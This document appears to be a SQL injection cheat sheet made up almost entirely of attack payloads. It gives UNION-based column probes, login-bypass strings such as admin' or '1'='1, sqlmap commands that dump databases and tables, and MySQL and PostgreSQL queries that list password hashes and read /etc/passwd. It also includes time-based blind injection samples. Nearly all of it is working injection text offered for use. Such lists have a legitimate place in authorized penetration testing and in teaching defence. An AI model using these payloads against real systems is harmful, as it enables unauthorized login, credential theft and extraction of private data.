 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23

 UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
```

```
 UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25

 UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

 UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

 UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28

 UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29

 UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,
30

 UNION ALL SELECT 'INJ'||'ECT'||'XXX'--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
```

```
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--

 UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--

 UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--

 UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--

 UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

 UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--

 UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--

 UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-
-

 UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,
30--

 UNION ALL SELECT 'INJ'||'ECT'||'XXX'#

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2#

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3#

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4#

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5#

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6#

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7#

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8#

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9#

 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10#
```

UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11#

UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12#

UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13#

UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14#

UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15#

UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#

UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#

UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#

UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#

UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#

UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#

UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#

UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#

UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#

UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#

SQL Injection Auth Bypass Payloads

'-'

' '

'&'

'^'

'*'

' or ''-'

' or '' '

' or ''&'

' or ''^'

' or ''*'

"-"

" "

"&"

"^"

"*"

" or ""-"

" or "" "

" or ""&"

" or ""^"

" or ""*"

or true--

" or true--

' or true--

") or true--

') or true--

' or 'x'='x

') or ('x')=('x

')) or (('x'))=(('x

" or "x"="x

") or ("x")=("x

")) or (("x"))=(("x

or 1=1

or 1=1--

or 1=1#

or 1=1/*

admin' --

admin' #

admin'/*

admin' or '1'='1

admin' or '1'='1'--

admin' or '1'='1'#

admin' or '1'='1'/*

admin'or 1=1 or ''='

admin' or 1=1

admin' or 1=1--

admin' or 1=1#

admin' or 1=1/*

admin') or ('1'='1

admin') or ('1'='1'--

admin') or ('1'='1'#

admin') or ('1'='1'/*

admin') or '1'='1

admin') or '1'='1'--

admin') or '1'='1'#

admin') or '1'='1'/*

1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

admin" --

admin" #

admin"/*

admin" or "1"="1

admin" or "1"="1"--

admin" or "1"="1"#

admin" or "1"="1"/*

admin"or 1=1 or ""="

admin" or 1=1

admin" or 1=1--

admin" or 1=1#

admin" or 1=1/*

admin") or ("1"="1

admin") or ("1"="1"--

admin") or ("1"="1"#

admin") or ("1"="1"/*

admin") or "1"="1

admin") or "1"="1"--

admin") or "1"="1"#

admin") or "1"="1"/*

1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Automated tools

SQLMAP	sqlmap -u "url" --forms --batch --crawl=10 --level=5 --risk=3
NMAP	nmap -p80 --script=http-sql-injection --script-args=httpspider.maxpageocount=200 <target>

Mysql

Version	SELECT @@version;
Comments	/ / ou #
Current user	SELECT user(); || SELECT system_user()
List users	SELECT user FROM mysql.user;
List password hashes	SELECT host, user, password FROM mysql.user;
Current database	SELECT database()
List databases	SELECT schema_name FROM information_schema.schemata; || SELECT distinct(db) FROM mysql.db
List tables	SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
List collumns	SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
Find Tables From Column Name	SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username';
Time delay	SELECT BENCHMARK(1000000,MD5('A')); SELECT SLEEP(5); # >= 5.0.12
Local File Access	…' UNION ALL SELECT LOAD_FILE('/etc/passwd') —
Hostname/IP Address	SELECT @@hostname;
Create user	CREATE USER test1 IDENTIFIED BY 'pass1'; —
Delete user	DROP USER test1; —
Location of the db file	SELECT @@datadir;

SQLMAP

```
sqlmap -u "url" -DBS
```

```
sqlmap -u "url" -table -D [database]
```

```
sqlmap -u "url" -columns -D [database] -T [table]
```

```
sqlmap -u "url" -dump -D [database] -T [table]
```

Manually Attack

Quick detect INTEGERS	select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Quick detect STRINGS	'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
Clear SQL Test	product.php?id=4 product.php?id=5-1 product.php?id=4 OR 1=1 product.php?id=-1 OR 17-7=10
Blind SQL Injection	SLEEP(25)-- SELECT BENCHMARK(1000000,MD5('A'));
Real world sample	ProductID=1 OR SLEEP(25)=0 LIMIT 1-- ProductID=1) OR SLEEP(25)=0 LIMIT 1-- ProductID=1' OR SLEEP(25)=0 LIMIT 1-- ProductID=1') OR SLEEP(25)=0 LIMIT 1-- ProductID=1)) OR SLEEP(25)=0 LIMIT 1-- ProductID=SELECT SLEEP(25)--

PostgreSQL

Version	SELECT version()
Comments	-comment | / *comment* /
Current user	SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername();
List users	SELECT usename FROM pg_user
List DBA Accounts	SELECT usename FROM pg_user WHERE usesuper IS TRUE
List password hashes	SELECT usename, passwd FROM pg_shadow — priv
Current database	SELECT current_database()
List databases	SELECT datname FROM pg_database
List tables	SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r',") AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)
List collumns	SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')
Find Tables From Column Name	SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';
Time delay	SELECT pg_sleep(10);
Local File Access	CREATE TABLE mydata(t text); COPY mydata FROM '/etc/passwd';
Hostname/IP Address	SELECT inet_server_addr();
Port	SELECT inet_server_port();
Create user	CREATE USER test1 PASSWORD 'pass1' CREATEUSER
Delete user	DROP USER test1;

Location of the db file

```
SELECT current_setting('data_directory');
```